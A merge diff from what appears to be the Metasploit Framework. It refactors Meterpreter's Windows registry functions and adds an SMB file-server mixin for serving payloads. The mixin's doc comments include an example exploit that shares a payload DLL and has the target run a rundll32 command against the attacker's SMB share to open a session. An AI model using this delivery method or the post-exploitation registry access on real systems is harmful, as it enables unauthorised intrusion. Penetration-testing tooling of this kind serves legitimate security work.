Merge branch 'master' into feature/MSP-12244/postgres-pass-the-hash
commit
2d46c06b97
|
@ -1334,10 +1334,12 @@ def stdapi_net_socket_tcp_shutdown(request, response):
|
|||
channel.shutdown(how)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def _wreg_close_key(hkey):
|
||||
ctypes.windll.advapi32.RegCloseKey(hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_close_key(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
result = ctypes.windll.advapi32.RegCloseKey(hkey)
|
||||
_wreg_close_key(packet_get_tlv(request, TLV_TYPE_HKEY)['value'])
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
|
@ -1372,11 +1374,9 @@ def stdapi_registry_delete_value(request, response):
|
|||
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name))
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_key(request, response):
|
||||
def _wreg_enum_key(request, response, hkey):
|
||||
ERROR_MORE_DATA = 0xea
|
||||
ERROR_NO_MORE_ITEMS = 0x0103
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
name = (ctypes.c_char * 4096)()
|
||||
index = 0
|
||||
tries = 0
|
||||
|
@ -1399,10 +1399,22 @@ def stdapi_registry_enum_key(request, response):
|
|||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_value(request, response):
|
||||
def stdapi_registry_enum_key(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
return _wreg_enum_key(request, response, hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_key_direct(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
ret = _wreg_enum_key(request, response, hkey)
|
||||
_wreg_close_key(hkey)
|
||||
return ret
|
||||
|
||||
def _wreg_enum_value(request, response, hkey):
|
||||
ERROR_MORE_DATA = 0xea
|
||||
ERROR_NO_MORE_ITEMS = 0x0103
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
name = (ctypes.c_char * 4096)()
|
||||
name_sz = ctypes.c_uint32()
|
||||
index = 0
|
||||
|
@ -1426,6 +1438,20 @@ def stdapi_registry_enum_value(request, response):
|
|||
index += 1
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_value(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
return _wreg_enum_value(request, response, hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_enum_value_direct(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
ret = _wreg_enum_value(request, response, hkey)
|
||||
_wreg_close_key(hkey)
|
||||
return ret
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_load_key(request, response):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)
|
||||
|
@ -1434,16 +1460,22 @@ def stdapi_registry_load_key(request, response):
|
|||
result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name)
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_open_key(request, response):
|
||||
def _wreg_open_key(request):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
||||
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
|
||||
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
|
||||
handle_id = ctypes.c_void_p()
|
||||
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) != ERROR_SUCCESS:
|
||||
return error_result_windows(), response
|
||||
response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
|
||||
return error_result_windows(), 0
|
||||
return ERROR_SUCCESS, handle_id.value
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_open_key(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
response += tlv_pack(TLV_TYPE_HKEY, hkey)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
|
@ -1467,9 +1499,7 @@ def stdapi_registry_query_class(request, response):
|
|||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_query_value(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
def _query_value(request, response, hkey):
|
||||
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
||||
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
|
||||
value_type = ctypes.c_uint32()
|
||||
|
@ -1496,8 +1526,20 @@ def stdapi_registry_query_value(request, response):
|
|||
return error_result_windows(), response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_set_value(request, response):
|
||||
def stdapi_registry_query_value(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
return _query_value(request, response, hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_query_value_direct(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
ret = _query_value(request, response, hkey)
|
||||
_wreg_close_key(hkey)
|
||||
return ret
|
||||
|
||||
def _set_value(request, response, hkey):
|
||||
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
||||
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
|
||||
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
|
||||
|
@ -1505,6 +1547,20 @@ def stdapi_registry_set_value(request, response):
|
|||
result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data))
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_set_value(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
return _set_value(request, response, hkey)
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_set_value_direct(request, response):
|
||||
err, hkey = _wreg_open_key(request)
|
||||
if err != ERROR_SUCCESS:
|
||||
return err, response
|
||||
ret = _set_value(request, response, hkey)
|
||||
_wreg_close_key(hkey)
|
||||
return ret
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_unload_key(request, response):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||
|
|
|
@ -32,6 +32,7 @@ require 'msf/core/exploit/smb/client'
|
|||
require 'msf/core/exploit/smb/client/authenticated'
|
||||
require 'msf/core/exploit/smb/client/psexec'
|
||||
require 'msf/core/exploit/smb/server'
|
||||
require 'msf/core/exploit/smb/server/share'
|
||||
require 'msf/core/exploit/ftp'
|
||||
require 'msf/core/exploit/tftp'
|
||||
require 'msf/core/exploit/telnet'
|
||||
|
|
|
@ -133,11 +133,18 @@ module Msf
|
|||
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
pkt['Payload']['SMB'].v['Command'] = cmd
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
||||
pkt['Payload']['SMB'].v['Flags1'] = CONST::FLAGS_REQ_RES | CONST::FLAGS_CASE_SENSITIVE
|
||||
if esn
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc801
|
||||
pkt['Payload']['SMB'].v['Flags2'] =
|
||||
CONST::FLAGS2_UNICODE_STRINGS +
|
||||
CONST::FLAGS2_EXTENDED_SECURITY +
|
||||
CONST::FLAGS2_32_BIT_ERROR_CODES +
|
||||
CONST::FLAGS2_LONG_PATH_COMPONENTS
|
||||
else
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
||||
pkt['Payload']['SMB'].v['Flags2'] =
|
||||
CONST::FLAGS2_UNICODE_STRINGS +
|
||||
CONST::FLAGS2_32_BIT_ERROR_CODES +
|
||||
CONST::FLAGS2_LONG_PATH_COMPONENTS
|
||||
end
|
||||
pkt['Payload']['SMB'].v['ErrorClass'] = errorclass
|
||||
c.put(pkt.to_s)
|
||||
|
|
|
@ -0,0 +1,297 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/socket'
|
||||
require 'rex/proto/smb'
|
||||
require 'rex/text'
|
||||
require 'rex/logging'
|
||||
require 'rex/struct2'
|
||||
require 'rex/proto/smb/constants'
|
||||
require 'rex/proto/smb/utils'
|
||||
require 'rex/proto/dcerpc'
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
# This mixin provides a minimal SMB server sharing an UNC resource. At
|
||||
# this moment it is capable to share just one file. And the file should
|
||||
# live in the root folder "\\".
|
||||
#
|
||||
# @example Use it from an Auxiliary module
|
||||
# require 'msf/core'
|
||||
#
|
||||
# class Metasploit3 < Msf::Auxiliary
|
||||
#
|
||||
# include Msf::Exploit::Remote::SMB::Server::Share
|
||||
#
|
||||
# def initialize
|
||||
# super(
|
||||
# 'Name' => 'SMB File Server',
|
||||
# 'Description' => %q{
|
||||
# This module provides a SMB File Server service
|
||||
# },
|
||||
# 'Author' =>
|
||||
# [
|
||||
# 'Matthew Hall',
|
||||
# 'juan vazquez'
|
||||
# ],
|
||||
# 'License' => MSF_LICENSE,
|
||||
# 'Actions' =>
|
||||
# [
|
||||
# ['Service']
|
||||
# ],
|
||||
# 'PassiveActions' =>
|
||||
# [
|
||||
# 'Service'
|
||||
# ],
|
||||
# 'DefaultAction' => 'Service'
|
||||
# )
|
||||
# end
|
||||
#
|
||||
# def run
|
||||
# print_status("Starting SMB Server on #{unc}...")
|
||||
# exploit
|
||||
# end
|
||||
#
|
||||
# def primer
|
||||
# print_status("Primer...")
|
||||
# self.file_contents = 'METASPLOIT'
|
||||
# end
|
||||
# end
|
||||
#
|
||||
# @example Use it from an Exploit module
|
||||
# require 'msf/core'
|
||||
#
|
||||
# class Metasploit3 < Msf::Exploit::Remote
|
||||
# Rank = ExcellentRanking
|
||||
#
|
||||
# include Msf::Exploit::EXE
|
||||
# include Msf::Exploit::Remote::SMB::Server::Share
|
||||
#
|
||||
# def initialize(info={})
|
||||
# super(update_info(info,
|
||||
# 'Name' => "Example Exploit",
|
||||
# 'Description' => %q{
|
||||
# Example exploit, the Server shares a DLL embedding the payload. A session
|
||||
# can be achieved by executing 'rundll32.exe \\srvhost\share\test.dll,0' from
|
||||
# from the target.
|
||||
# },
|
||||
# 'License' => MSF_LICENSE,
|
||||
# 'Author' =>
|
||||
# [
|
||||
# 'Matthew Hall',
|
||||
# 'juan vazquez'
|
||||
# ],
|
||||
# 'References' =>
|
||||
# [
|
||||
# ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3074']
|
||||
# ],
|
||||
# 'Payload' =>
|
||||
# {
|
||||
# 'Space' => 2048,
|
||||
# 'DisableNops' => true
|
||||
# },
|
||||
# 'Platform' => 'win',
|
||||
# 'Targets' =>
|
||||
# [
|
||||
# ['Windows XP SP3 / Windows 2003 SP2', {}],
|
||||
# ],
|
||||
# 'Privileged' => false,
|
||||
# 'DisclosureDate' => "Mar 02 2015",
|
||||
# 'DefaultTarget' => 0))
|
||||
#
|
||||
# register_options(
|
||||
# [
|
||||
# OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'test.dll'])
|
||||
# ], self.class)
|
||||
#
|
||||
# deregister_options('FILE_CONTENTS')
|
||||
# end
|
||||
#
|
||||
# def primer
|
||||
# self.file_contents = generate_payload_dll
|
||||
# print_status("File available on #{unc}...")
|
||||
# end
|
||||
# end
|
||||
module Share
|
||||
require 'msf/core/exploit/smb/server/share/command'
|
||||
require 'msf/core/exploit/smb/server/share/information_level'
|
||||
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::Command::Close
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::Command::Negotiate
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::Command::NtCreateAndx
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::Command::ReadAndx
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::Command::SessionSetupAndx
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::FindFirst2
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::QueryFileInformation
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::QueryPathInformation
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::InformationLevel::Find
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::InformationLevel::Query
|
||||
|
||||
include Msf::Exploit::Remote::SMB::Server
|
||||
|
||||
FLAGS = CONST::FLAGS_REQ_RES | CONST::FLAGS_CASE_SENSITIVE
|
||||
|
||||
FLAGS2 = CONST::FLAGS2_UNICODE_STRINGS |
|
||||
CONST::FLAGS2_EXTENDED_SECURITY |
|
||||
CONST::FLAGS2_32_BIT_ERROR_CODES |
|
||||
CONST::FLAGS2_LONG_PATH_COMPONENTS
|
||||
|
||||
CAPABILITIES = CONST::CAP_UNIX_EXTENSIONS |
|
||||
CONST::CAP_LARGE_WRITEX |
|
||||
CONST::CAP_LARGE_READX |
|
||||
CONST::CAP_PASSTHRU |
|
||||
CONST::CAP_DFS |
|
||||
CONST::CAP_NT_FIND |
|
||||
CONST::CAP_LOCK_AND_READ |
|
||||
CONST::CAP_LEVEL_II_OPLOCKS |
|
||||
CONST::CAP_STATUS32 |
|
||||
CONST::CAP_RPC_REMOTE_APIS |
|
||||
CONST::CAP_NT_SMBS |
|
||||
CONST::CAP_LARGE_FILES |
|
||||
CONST::CAP_UNICODE |
|
||||
CONST::CAP_RAW_MODE
|
||||
|
||||
CREATE_MAX_ACCESS = CONST::SMB_READ_ACCESS |
|
||||
CONST::SMB_WRITE_ACCESS |
|
||||
CONST::SMB_APPEND_ACCESS |
|
||||
CONST::SMB_READ_EA_ACCESS |
|
||||
CONST::SMB_WRITE_EA_ACCESS |
|
||||
CONST::SMB_EXECUTE_ACCESS |
|
||||
CONST::SMB_DELETE_CHILD_ACCESS |
|
||||
CONST::SMB_READ_ATTRIBUTES_ACCESS |
|
||||
CONST::SMB_WRITE_ATTRIBUTES_ACCESS |
|
||||
CONST::SMB_DELETE_ACCESS |
|
||||
CONST::SMB_READ_CONTROL_ACCESS |
|
||||
CONST::SMB_WRITE_DAC_ACCESS |
|
||||
CONST::SMB_WRITE_OWNER_ACCESS |
|
||||
CONST::SMB_SYNC_ACCESS
|
||||
|
||||
TREE_CONNECT_MAX_ACCESS = CONST::SMB_READ_ACCESS |
|
||||
CONST::SMB_READ_EA_ACCESS |
|
||||
CONST::SMB_EXECUTE_ACCESS |
|
||||
CONST::SMB_READ_ATTRIBUTES_ACCESS |
|
||||
CONST::SMB_READ_CONTROL_ACCESS |
|
||||
CONST::SMB_SYNC_ACCESS
|
||||
|
||||
# @!attribute share
|
||||
# @return [String] The share portion of the provided UNC.
|
||||
attr_accessor :share
|
||||
# @!attribute path_name
|
||||
# @return [String] The folder where the provided file lives.
|
||||
# @note UNSUPPORTED
|
||||
attr_accessor :path_name
|
||||
# @!attribute file_name
|
||||
# @return [String] The file name of the provided UNC.
|
||||
attr_accessor :file_name
|
||||
# @!attribute hi
|
||||
# @return [Fixnum] The high 4 bytes for the file 'created time'.
|
||||
attr_accessor :hi
|
||||
# @!attribute lo
|
||||
# @return [Fixnum] The low 4 bytes for the file 'created time'.
|
||||
attr_accessor :lo
|
||||
# @!attribute file_contents
|
||||
# @return [String] The contents of the provided file
|
||||
attr_accessor :file_contents
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SHARE', [ false, 'Share (Default Random)']),
|
||||
OptString.new('FILE_NAME', [ false, 'File name to share (Default Random)']),
|
||||
OptPath.new('FILE_CONTENTS', [ false, 'File contents (Default Random)'])
|
||||
], Msf::Exploit::Remote::SMB::Server::Share)
|
||||
end
|
||||
|
||||
# Setups the server configuration.
|
||||
def setup
|
||||
super
|
||||
|
||||
self.path_name = '\\' # TODO: Add subdirectories support
|
||||
self.share = datastore['SHARE'] || Rex::Text.rand_text_alpha(4 + rand(3))
|
||||
self.file_name = datastore['FILE_NAME'] || Rex::Text.rand_text_alpha(4 + rand(3))
|
||||
|
||||
t = Time.now.to_i
|
||||
self.hi, self.lo = ::Rex::Proto::SMB::Utils.time_unix_to_smb(t)
|
||||
|
||||
# The module has an opportunity to set up the file contents in the "primer callback"
|
||||
if datastore['FILE_CONTENTS']
|
||||
File.open(datastore['FILE_CONTENTS'], 'rb') { |f| self.file_contents = f.read }
|
||||
else
|
||||
self.file_contents = Rex::Text.rand_text_alpha(50 + rand(150))
|
||||
end
|
||||
end
|
||||
|
||||
# Builds the UNC Name for the shared file
|
||||
def unc
|
||||
"\\\\#{srvhost}\\#{share}\\#{file_name}"
|
||||
end
|
||||
|
||||
# Builds the server address.
|
||||
#
|
||||
# @return [String] The server address.
|
||||
def srvhost
|
||||
datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
|
||||
end
|
||||
|
||||
# New connection handler, executed when there is a new conneciton.
|
||||
#
|
||||
# @param c [Socket] The client establishing the connection.
|
||||
# @return [Hash] The hash with the client data initialized.
|
||||
def smb_conn(c)
|
||||
@state[c] = {
|
||||
:name => "#{c.peerhost}:#{c.peerport}",
|
||||
:ip => c.peerhost,
|
||||
:port => c.peerport,
|
||||
:multiplex_id => rand(0xffff),
|
||||
:process_id => rand(0xffff),
|
||||
:file_id => 0xdead,
|
||||
:dir_id => 0xbeef
|
||||
}
|
||||
end
|
||||
|
||||
# Main dispatcher function. Takes the client data and performs a case switch
|
||||
# on the command (e.g. Negotiate, Session Setup, Read file, etc.)
|
||||
#
|
||||
# @param cmd [Fixnum] The SMB Command requested.
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_dispatch(cmd, c, buff)
|
||||
smb = @state[c]
|
||||
|
||||
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
#Record the IDs
|
||||
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
|
||||
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
|
||||
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
|
||||
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
|
||||
|
||||
case cmd
|
||||
when CONST::SMB_COM_NEGOTIATE
|
||||
return smb_cmd_negotiate(c, buff)
|
||||
when CONST::SMB_COM_SESSION_SETUP_ANDX
|
||||
word_count = pkt['Payload']['SMB'].v['WordCount']
|
||||
if word_count == 0x0d # Share Security Mode sessions
|
||||
return smb_cmd_session_setup_andx(c, buff)
|
||||
else
|
||||
print_status("SMB Share - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type, ignoring... ")
|
||||
return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
|
||||
end
|
||||
when CONST::SMB_COM_TRANSACTION2
|
||||
return smb_cmd_trans2(c, buff)
|
||||
when CONST::SMB_COM_NT_CREATE_ANDX
|
||||
return smb_cmd_nt_create_andx(c, buff)
|
||||
when CONST::SMB_COM_READ_ANDX
|
||||
return smb_cmd_read_andx(c, buff)
|
||||
when CONST::SMB_COM_CLOSE
|
||||
return smb_cmd_close(c, buff)
|
||||
else
|
||||
vprint_status("SMB Share - #{smb[:ip]} Unknown SMB command #{cmd.to_s(16)}, ignoring... ")
|
||||
return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,16 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
require 'msf/core/exploit/smb/server/share/command/close'
|
||||
require 'msf/core/exploit/smb/server/share/command/negotiate'
|
||||
require 'msf/core/exploit/smb/server/share/command/nt_create_andx'
|
||||
require 'msf/core/exploit/smb/server/share/command/read_andx'
|
||||
require 'msf/core/exploit/smb/server/share/command/session_setup_andx'
|
||||
require 'msf/core/exploit/smb/server/share/command/trans2'
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,38 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module Close
|
||||
|
||||
# Handles an SMB_COM_CLOSE command, used by the client to close an instance
|
||||
# of an object associated with a valid FID.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_close(c, buff)
|
||||
send_close_res(c)
|
||||
end
|
||||
|
||||
# Builds and sends an SMB_COM_CLOSE response.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_close_res(c)
|
||||
pkt = CONST::SMB_CLOSE_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_CLOSE
|
||||
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
|
||||
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
|
||||
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_CLOSE_RES_WORD_COUNT
|
||||
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,90 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module Negotiate
|
||||
|
||||
# Handles an SMB_COM_NEGOTIATE command, used by the client to initiate an
|
||||
# SMB connection between the client and the server.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_negotiate(c, buff)
|
||||
pkt = CONST::SMB_NEG_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
|
||||
dialect = dialects.index("NT LM 0.12") || dialects.length-1
|
||||
|
||||
send_negotitate_res(c, {
|
||||
dialect: dialect,
|
||||
security_mode: CONST::NEG_SECURITY_PASSWORD,
|
||||
max_mpx: 50,
|
||||
max_vcs: 1,
|
||||
max_buff: 4356,
|
||||
max_raw: 65536,
|
||||
server_time_zone: 0,
|
||||
capabilities: CAPABILITIES,
|
||||
key_length: 8,
|
||||
key: Rex::Text.rand_text_hex(8)
|
||||
})
|
||||
end
|
||||
|
||||
# Builds and sends an SMB_COM_CLOSE response.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <String, Fixnum>}] Response custom values.
|
||||
# @option opts [Fixnum] :dialect The index of the dialect selected by the server from the request.
|
||||
# @option opts [Fixnum] :security_mode Security modes supported or required by the server.
|
||||
# @option opts [Fixnum] :max_mpx The maximum number of outstanding SMB operations that the server supports.
|
||||
# @option opts [Fixnum] :max_vcs The maximum number of virtual circuits between the client and the server.
|
||||
# @option opts [Fixnum] :max_buff Largest SMB message that the server can handle.
|
||||
# @option opts [Fixnum] :max_raw Max size for SMB_COM_WRITE_RAW requests and SMB_COM_READ_RAW responses.
|
||||
# @option opts [Fixnum] :server_time_zone The server's time zone.
|
||||
# @option opts [Fixnum] :capabilities The server capability indicators.
|
||||
# @option opts [Fixnum] :key_length The challenge length.
|
||||
# @option opts [String] :key The challenge.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_negotitate_res(c, opts = {})
|
||||
dialect = opts[:dialect] || 0
|
||||
security_mode = opts[:security_mode] || 0
|
||||
max_mpx = opts[:max_mpx] || 0
|
||||
max_vcs = opts[:max_vcs] || 0
|
||||
max_buff = opts[:max_buff] || 0
|
||||
max_raw = opts[:max_raw] || 0
|
||||
server_time_zone = opts[:server_time_zone] || 0
|
||||
capabilities = opts[:capabilities] || 0
|
||||
key_length = opts[:key_length] || 0
|
||||
key = opts[:key] || ''
|
||||
|
||||
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
|
||||
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
|
||||
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
|
||||
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_NEGOTIATE_RES_WORD_COUNT
|
||||
pkt['Payload'].v['Dialect'] = dialect
|
||||
pkt['Payload'].v['SecurityMode'] = security_mode
|
||||
pkt['Payload'].v['MaxMPX'] = max_mpx
|
||||
pkt['Payload'].v['MaxVCS'] = max_vcs
|
||||
pkt['Payload'].v['MaxBuff'] = max_buff
|
||||
pkt['Payload'].v['MaxRaw'] = max_raw
|
||||
pkt['Payload'].v['SystemTimeLow'] = lo
|
||||
pkt['Payload'].v['SystemTimeHigh'] = hi
|
||||
pkt['Payload'].v['ServerTimeZone'] = server_time_zone
|
||||
pkt['Payload'].v['SessionKey'] = 0
|
||||
pkt['Payload'].v['Capabilities'] = capabilities
|
||||
pkt['Payload'].v['KeyLength'] = key_length
|
||||
pkt['Payload'].v['Payload'] = key
|
||||
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,105 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module NtCreateAndx
|
||||
|
||||
# Handles an SMB_COM_NT_CREATE_ANDX command, used by the client to create and
|
||||
# open a new file.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_nt_create_andx(c, buff)
|
||||
smb = @state[c]
|
||||
pkt = CONST::SMB_CREATE_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
payload = (pkt['Payload'].v['Payload']).downcase
|
||||
payload.gsub!(/^[\x00]*/, '') # delete padding
|
||||
payload = Rex::Text.ascii_safe_hex(payload)
|
||||
payload.gsub!(/\\x([0-9a-f]{2})/i, '') # delete hex chars
|
||||
|
||||
if payload.nil? || payload.empty?
|
||||
payload = file_name
|
||||
end
|
||||
|
||||
if payload.ends_with?(file_name)
|
||||
vprint_status("SMB Share - #{smb[:ip]} SMB_COM_NT_CREATE_ANDX request for #{unc}... ")
|
||||
fid = smb[:file_id].to_i
|
||||
attribs = CONST::SMB_EXT_FILE_ATTR_NORMAL
|
||||
eof = file_contents.length
|
||||
is_dir = 0
|
||||
elsif payload.eql?(path_name)
|
||||
fid = smb[:dir_id].to_i
|
||||
attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
eof = 0
|
||||
is_dir = 1
|
||||
else
|
||||
# Otherwise send not found
|
||||
vprint_status("SMB Share - #{smb[:ip]} SMB_COM_NT_CREATE_ANDX for #{payload}, not found")
|
||||
return smb_error(CONST::SMB_COM_NT_CREATE_ANDX, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
|
||||
end
|
||||
|
||||
send_nt_create_andx_res(c, {
|
||||
file_id: fid,
|
||||
attributes: attribs,
|
||||
end_of_file_low: eof,
|
||||
is_directory: is_dir,
|
||||
alloc_low: 0x100000
|
||||
})
|
||||
end
|
||||
|
||||
# Builds and sends an SMB_COM_NT_CREATE_ANDX response.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <Fixnum>}] Response custom values.
|
||||
# @option opts [Fixnum] :file_id A FID representing the file or directory created or opened.
|
||||
# @option opts [Fixnum] :attributes The attributes that the server assigned to the file or directory.
|
||||
# @option opts [Fixnum] :end_of_file_low The end of file offset value (4 bytes)
|
||||
# @option opts [Fixnum] :is_directory Indicates if the FID represents a directory.
|
||||
# @option opts [Fixnum] :alloc_low The number of bytes allocated to the file by the server.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_nt_create_andx_res(c, opts = {})
|
||||
file_id = opts[:file_id] || 0
|
||||
attributes = opts[:attributes] || 0
|
||||
end_of_file_low = opts[:end_of_file_low] || 0
|
||||
is_directory = opts[:is_directory] || 0
|
||||
alloc_low = opts[:alloc_low] || 0
|
||||
|
||||
pkt = CONST::SMB_CREATE_ANDX_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
